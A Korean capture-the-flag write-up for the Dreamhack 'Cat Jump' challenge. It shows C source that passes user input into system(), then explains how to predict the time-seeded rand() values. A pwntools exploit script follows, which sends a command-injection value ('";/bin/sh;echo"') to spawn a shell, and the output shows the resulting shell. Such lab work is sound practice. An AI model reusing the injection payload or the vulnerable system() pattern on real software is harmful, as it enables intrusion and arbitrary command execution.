dreamhack - Cat Jump writeup
[dreamhack] Cat Jump writeup
1. 문제
Cat Jump
고양이가 방해물을 피해 옥상으로 올라갈 수 있도록 도와주세요!
플래그 형식은 DH{...} 입니다.
2. 풀이
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>
#define CAT_JUMP_GOAL 37
#define CATNIP_PROBABILITY 0.1
#define CATNIP_INVINCIBLE_TIMES 3
#define OBSTACLE_PROBABILITY 0.5
#define OBSTACLE_LEFT 0
#define OBSTACLE_RIGHT 1
void Init() {
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stderr, 0, _IONBF, 0);
}
void PrintBanner() {
puts(" .-.\n" \
" \\ \\\n" \
" \\ \\\n" \
" | |\n" \
" | |\n" \
" /\\---/\\ _,---._ | |\n" \
" /^ ^ \\,' `. ;\n" \
" ( O O ) ;\n" \
" `.=o=__,' \\\n" \
" / _,--.__ \\\n" \
" / _ ) ,' `-. `-. \\\n" \
" / ,' / ,' \\ \\ \\ \\\n" \
" / / / ,' (,_)(,_)\n" \
" (,; (,,) jrei\n");
}
char cmd_fmt[] = "echo \"%s\" > /tmp/cat_db";
void StartGame() {
char cat_name[32];
char catnip;
char cmd[64];
char input;
char obstacle;
double p;
unsigned char jump_cnt;
srand(time(NULL));
catnip = 0;
jump_cnt = 0;
puts("let the cat reach the roof! 🐈");
sleep(1);
do {
// set obstacle with a specific probability.
obstacle = rand() % 2;
// get input.
do {
printf("left jump='h', right jump='j': ");
scanf("%c%*c", &input);
} while (input != 'h' && input != 'l');
// jump.
if (catnip) {
catnip--;
jump_cnt++;
puts("the cat powered up and is invincible! nothing cannot stop! 🐈");
} else if ((input == 'h' && obstacle != OBSTACLE_LEFT) ||
(input == 'l' && obstacle != OBSTACLE_RIGHT)) {
jump_cnt++;
puts("the cat jumped successfully! 🐱");
} else {
puts("the cat got stuck by obstacle! 😿 🪨 ");
return;
}
// eat some catnip with a specific probability.
p = (double)rand() / RAND_MAX;
if (p < CATNIP_PROBABILITY) {
puts("the cat found and ate some catnip! 😽");
catnip = CATNIP_INVINCIBLE_TIMES;
}
} while (jump_cnt < CAT_JUMP_GOAL);
puts("your cat has reached the roof!\n");
printf("let people know your cat's name 😼: ");
scanf("%31s", cat_name);
snprintf(cmd, sizeof(cmd), cmd_fmt, cat_name);
system(cmd);
printf("goodjob! ");
system("cat /tmp/cat_db");
}
int main(void) {
Init();
PrintBanner();
StartGame();
return 0;
}
‘h’ 또는 ‘l’을 입력해서 장애물을 피해 고양이를 점프시켜서 37번 성공해야한다. 그러고 나면 cat_name에 입력된 내용이 cmd 변수에 들어가면서 쉘을 실행시킬 수 있다.
37번을 요행으로 찍기에는 확률이 1/2^37 밖에 안되므로… 거의 불가능하다고 봐야하고 srand()함수에 취약점이 있다.
srand(time(NULL));
이렇게 할 경우, 만약 타임스탬프가 똑같은 값이면 시드가 같아지므로 그 다음에 수행되는 rand()함수의 값의 순서가 똑같이 나온다. 즉, 만약 시드가 똑같은 상태에서 3번의 rand()함수를 따로 실행하면 양쪽 3번의 결과값이 똑같다는 것이다.
그렇다면 실행되는 타임스탬프에 맞춰서 우리도 srand()함수를 실행해서 시드를 맞춰주고, 그 다음에 실행되는 rand()의 결과를 보고 점프를 하면 성공할 수 있다.
python에서 C 라이브러리를 실행할 수 있게 해주는 ctypes 라이브러리가 있기 때문에 이걸 이용했다.
간단한 exploit이다.
from pwn import *
import time
import ctypes, os
#p = process("./cat_jump")
p = remote("host8.dreamhack.games", 11275)
libc = ctypes.CDLL("libc.so.6")
libc.srand.argtypes = [ctypes.c_uint]
libc.srand.restype = None
libc.rand.restype = ctypes.c_int
libc.time.argtypes = [ctypes.POINTER(ctypes.c_long)] # 또는 ctypes.c_void_p
libc.time.restype = ctypes.c_long
libc.srand(libc.time(None))
for i in range(37):
print(i+1)
tmp_r = libc.rand()
print(tmp_r)
if tmp_r % 2 == 1:
print(f"{tmp_r} is odd!")
p.sendlineafter(b": ", b"h")
else:
print(f"{tmp_r} is even!")
p.sendlineafter(b": ", b"l")
tmp_r = libc.rand()
print(p.recv(30))
p.sendlineafter(b": ", b"aaaa\";/bin/sh;echo\"")
p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level2/Cat_jump/deploy$ python3 e_cat_jump.py
[+] Starting local process './cat_jump': pid 2787490
[*] Switching to interactive mode
aaaa
$ id
uid=1001(ubuntu) gid=1001(ubuntu) groups=1001(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),105(lxd),114(docker)
cat_name에 입력할 때 잘 입력해야 system()함수를 거칠 때 쉘을 실행할 수 있다.
해결~